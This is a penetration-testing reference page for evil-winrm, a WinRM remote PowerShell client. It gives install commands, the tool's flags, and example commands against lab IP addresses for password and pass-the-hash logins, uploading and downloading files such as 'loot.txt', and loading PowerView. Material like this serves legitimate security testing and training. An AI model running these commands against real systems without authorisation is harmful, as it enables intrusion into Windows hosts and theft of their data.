tools

Overview

evil-winrm is a Ruby-based shell client for WinRM (Windows Remote Management) designed for penetration testing. It provides a full interactive PowerShell session on a remote Windows host using WinRM, supporting file upload/download, in-memory .NET assembly loading, pass-the-hash authentication, and SSL. It is the standard tool for post-credential WinRM access from a Linux attack host.

Target / Context

Windows hosts with WinRM enabled (TCP/5985 HTTP or TCP/5986 HTTPS). Requires valid credentials, a hash (PTH), or a valid certificate.

Installation

ℹ︎Installation Commands: 
sudo gem install evil-winrm

Or via apt on Kali/Parrot:

sudo apt install evil-winrm

Basic Usage

ℹ︎Basic Usage:

Connect with username/password:

evil-winrm -i <target_ip> -u <username> -p <password>

Example:

evil-winrm -i 10.129.201.248 -u Cry0l1t3 -p P455w0rD!

Flags & Options

ℹ︎Flags & Options:
FlagDescriptionExample
-iTarget IP address-i 10.129.201.248
-uUsername-u administrator
-pPassword-p P@ssw0rd
-HNTLM hash for pass-the-hash-H <NT_hash>
-PWinRM port (default 5985)-P 5985
-SUse SSL (port 5986)-S
-cPath to SSL certificate-c /path/to/cert.pem
-kPath to SSL private key-k /path/to/key.pem
-eDirectory for executables to load into memory-e /opt/exes/
-sPath to PowerShell scripts to load-s /opt/scripts/

Common Use Cases

Basic Authenticated Shell

ℹ︎Commands: 
evil-winrm -i 10.129.201.248 -u administrator -p "P@ssw0rd"

Pass-the-Hash (PTH)

ℹ︎Commands: 
evil-winrm -i 10.129.201.248 -u administrator -H <NTLM_hash>

No password needed — uses the NTLM hash directly.

File Transfer

ℹ︎Commands:

Upload a file to the remote system:

upload /local/path/file.exe C:\Windows\Temp\file.exe

Download a file from the remote system:

download C:\Windows\Temp\loot.txt /local/path/loot.txt

(Commands run inside the evil-winrm session)

Load PowerShell Script Into Session

ℹ︎Commands: 
evil-winrm -i <target> -u <user> -p <pass> -s /opt/scripts/

Inside session: PowerView.ps1 then Get-Domain

  • Service Enumeration

References / Images